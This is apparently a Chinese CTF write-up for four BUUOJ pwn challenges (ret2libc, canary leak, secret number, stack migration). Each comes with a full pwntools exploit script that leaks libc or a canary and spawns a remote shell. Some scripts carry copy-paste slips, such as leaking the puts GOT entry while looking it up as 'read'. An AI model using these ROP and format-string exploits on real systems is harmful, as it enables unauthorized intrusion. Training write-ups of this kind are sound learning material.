1.ret2libc
2.canary
3.secret number
4.stack migration
1.ret2libc
没开canary,可栈溢出,通过puts来泄露got表,获得libc基址,通过基址+偏移得到system和/bin/sh地址,
接着返回程序再栈溢出即可get shell
EXP:
from pwn import *
from LibcSearcher import *
#context.arch="amd64"
sh=remote("node4.buuoj.cn",25447)
#sh=process("./ret2libc")
elf=ELF("./ret2libc")
libc=ELF("libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]
inter=lambda :sh.interactive()
start=0x400550
pop_rdi=0x400763
puts=elf.plt['puts']
read_got=elf.got['puts']
un("again\n")
sd("a"*0x28+p64(pop_rdi)+p64(read_got)+p64(puts)+p64(start))
un("time\n")
wl=u64(sh.recv(6)+"\x00"*2)
libc=LibcSearcher("read",wl)
jz=wl-libc.dump("read")
system=jz+libc.dump("system")
bin_sh=jz+libc.dump("str_bin_sh")
ret=0x4006F1
print hex(jz)
un("again")
sd("a"*0x28+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system))
inter()
2.canary
保护机制开得多
拖入ida分析,有格式化字符串漏洞,有后门
通过格式化字符串漏洞来泄露canary即可get shell
EXP:
from pwn import *
from LibcSearcher import *
from pwnlib import *
import base64
from ctypes import *
sh=remote("node4.buuoj.cn",26411)
#sh=process("./canary")
#elf=ELF("./canary")
libc=ELF("/lib32/libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.arch="amd64"
un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-a
inter=lambda :sh.interactive()
U64=lambda :u64(sh.recv(6)+"\x00"*2)
un("gift?\n")
sd("%11$p")
un("gift:\n")
canary=int(sh.recv(18),16)
un("magic\n")
sd("a"*0x28+p64(canary)+"a"*8+p64(0x401262))
inter()
3.secret number
拖入ida分析,只要v5 == secret就可以get shell,使用ctypes库即可,当然也存在格式化字符串漏洞,通过printf洞来泄露程序基址,然后用$n来修改secret的值为你想要的即可
EXP:
from pwn import *
from LibcSearcher import *
from pwnlib import *
from ctypes import *
sh=remote("node4.buuoj.cn",25434)
#sh=process("./canary")
elf=ELF("./secretnumber")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.arch="amd64"
un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-a
inter=lambda :sh.interactive()
U64=lambda :u64(sh.recv(6)+"\x00"*2)
libcc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
seed=libcc.time(0)
libcc.srand(seed)
un("gift?(0/1)\n")
sl("0")
un("number\n")
k=libcc.rand()
sl(str(k))
inter()
4.stack migration
给了libc库,拖入ida分析,7.6ida无法反编译为伪代码,直接看汇编
这里能泄露栈地址,且没开地址随机,在第二个read输入中存在溢出,可修改返回地址
此时有了栈地址,且在栈中输入,可以使用栈迁移来get shell
栈迁移就是把rsp迁移到其他地址中,通过leave指令(mov rsp,rbp;pop rbp;ret)
需要多一字节给rbp。 先在栈上部署好ROP,然后修改rbp和返回地址为部署ROP的地址和leave指令地址,此时就迁移到ROP栈地址上泄漏libc基址,接着再通过栈迁移来get shell
EXP:
from pwn import *
from LibcSearcher import *
from pwnlib import *
sh=remote("node4.buuoj.cn",26657)
#sh=process("./canary")
elf=ELF("./yc")
libc=ELF("libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.arch="amd64"
un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-a
inter=lambda :sh.interactive()
U64=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]
libcc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
seed=libcc.time(0)
libcc.srand(seed)
leave=0x4012AA
pop_rdi=0x401333
start=0x4011FB
puts=elf.plt['puts']
puts_got=elf.got['puts']
un("name:\n")
sd("hello!")
un("you: ")
stack=int(sh.recv(14),16)+8
print hex(stack)
un("plz:\n")
play="a"*8+p64(pop_rdi)+p64(puts_got)+p64(puts)+p64(start)
play=play.ljust(80,"a")
sd(play+p64(stack)+p64(leave))
un("maybe I'll see you soon!\n")
jz=U64("puts")
system=jz+libc.sym['system']
bin_sh=jz+libc.search("/bin/sh").next()
print hex(jz)
ret=0x4012AB
un("name:\n")
sd("hello!")
un("you: ")
stack=int(sh.recv(14),16)+8
print hex(stack)
play="a"*8+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
play=play.ljust(80,"a")
sd(play+p64(stack)+p64(leave))
inter()